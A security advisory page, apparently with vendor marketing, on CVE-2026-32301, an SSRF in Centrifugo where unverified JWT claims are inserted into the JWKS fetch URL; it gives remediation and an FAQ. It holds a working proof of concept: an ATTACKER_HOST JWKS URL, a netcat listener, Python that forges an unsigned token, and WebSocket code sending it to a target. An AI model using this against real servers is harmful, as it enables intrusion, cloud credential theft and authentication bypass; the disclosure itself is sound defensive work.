Summary
Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL
Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.
Details
In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations:
- Token is parsed without verification:
jwt.ParseNoVerify([]byte(t)) - Claims are decoded from the unverified token
validateClaims()runs, extracting named regex capture groups fromissuer_regex/audience_regexintotokenVarsmap using attacker-controllediss/audclaim valuesverifySignatureByJWK(token, tokenVars)is called, passing attacker-controlledtokenVarsto the JWKS manager- In
internal/jwks/manager.go,fetchKey()interpolatestokenVarsdirectly
into the JWKS URL:jwkURL := m.url.ExecuteString(tokenVars) - Centrifugo makes an HTTP GET request to the attacker-controlled URL
Suppressed the security linter on this line with an incorrect comment://nolint:gosec // URL is from server configuration, not user input.
The URL is NOT purely from server configuration, it is partially constructed from unverified user-supplied JWT claims.
Signature verification happens too late, after the SSRF has already fired.
PoC
Required config (config.json):
{
"client": {
"token": {
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
"issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
}
},
"http_api": { "key": "test-api-key" }
}
Step 1, Start listener on attacker machine:
nc -lvnp 8888
Step 2, Generate malicious unsigned JWT:
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
Step 3, Connect to Centrifugo WebSocket with the malicious token:
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
Step 4, Observe incoming HTTP request on attacker listener:
GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1
Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:
Centrifugo Server Log:
netcat terminal:
Impact
- Unauthenticated SSRF, No valid credentials required
- Attacker can probe and access internal network services not exposed externally
- On cloud deployments: access to metadata endpoints (AWS:
169.254.169.254, GCP:metadata.google.internal) to steal IAM credentials - Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate, leading to full authentication bypass
- Exploitation requires
jwks_public_endpointto contain{{...}}template variables combined withissuer_regexoraudience_regex, a configuration pattern explicitly documented and promoted by Centrifugo
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-32301 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.7.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
1. Verify signature BEFORE extracting tokenVars (critical fix):
In token_verifier_jwt.go, swap the order of operations:
// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars) ← too late
// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token) ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only
2. Fix the incorrect nolint comment in manager.go:
Remove //nolint:gosec // URL is from server configuration, not user input The URL IS partially constructed from user input via JWT claims.
3. Alternative mitigation:
Restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.
```
Frequently Asked Questions
- What is CVE-2026-32301? CVE-2026-32301 is a critical-severity server-side request forgery (SSRF) vulnerability in github.com/centrifugal/centrifugo/v6 (go), affecting versions <= 6.6.2. It is fixed in 6.7.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-32301? CVE-2026-32301 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-32301?
github.com/centrifugal/centrifugo/v6(go) (versions <= 6.6.2)github.com/centrifugal/centrifugo(go) (versions <= 2.4.0)github.com/centrifugal/centrifugo/v3(go) (versions <= 3.2.3)github.com/centrifugal/centrifugo/v4(go) (versions <= 4.1.5)github.com/centrifugal/centrifugo/v5(go) (versions <= 5.4.9)
- Is there a fix for CVE-2026-32301? Yes. CVE-2026-32301 is fixed in 6.7.0. Upgrade to this version or later.
- Is CVE-2026-32301 exploitable, and should I be worried? Whether CVE-2026-32301 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32301 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32301? Upgrade
github.com/centrifugal/centrifugo/v6to 6.7.0 or later.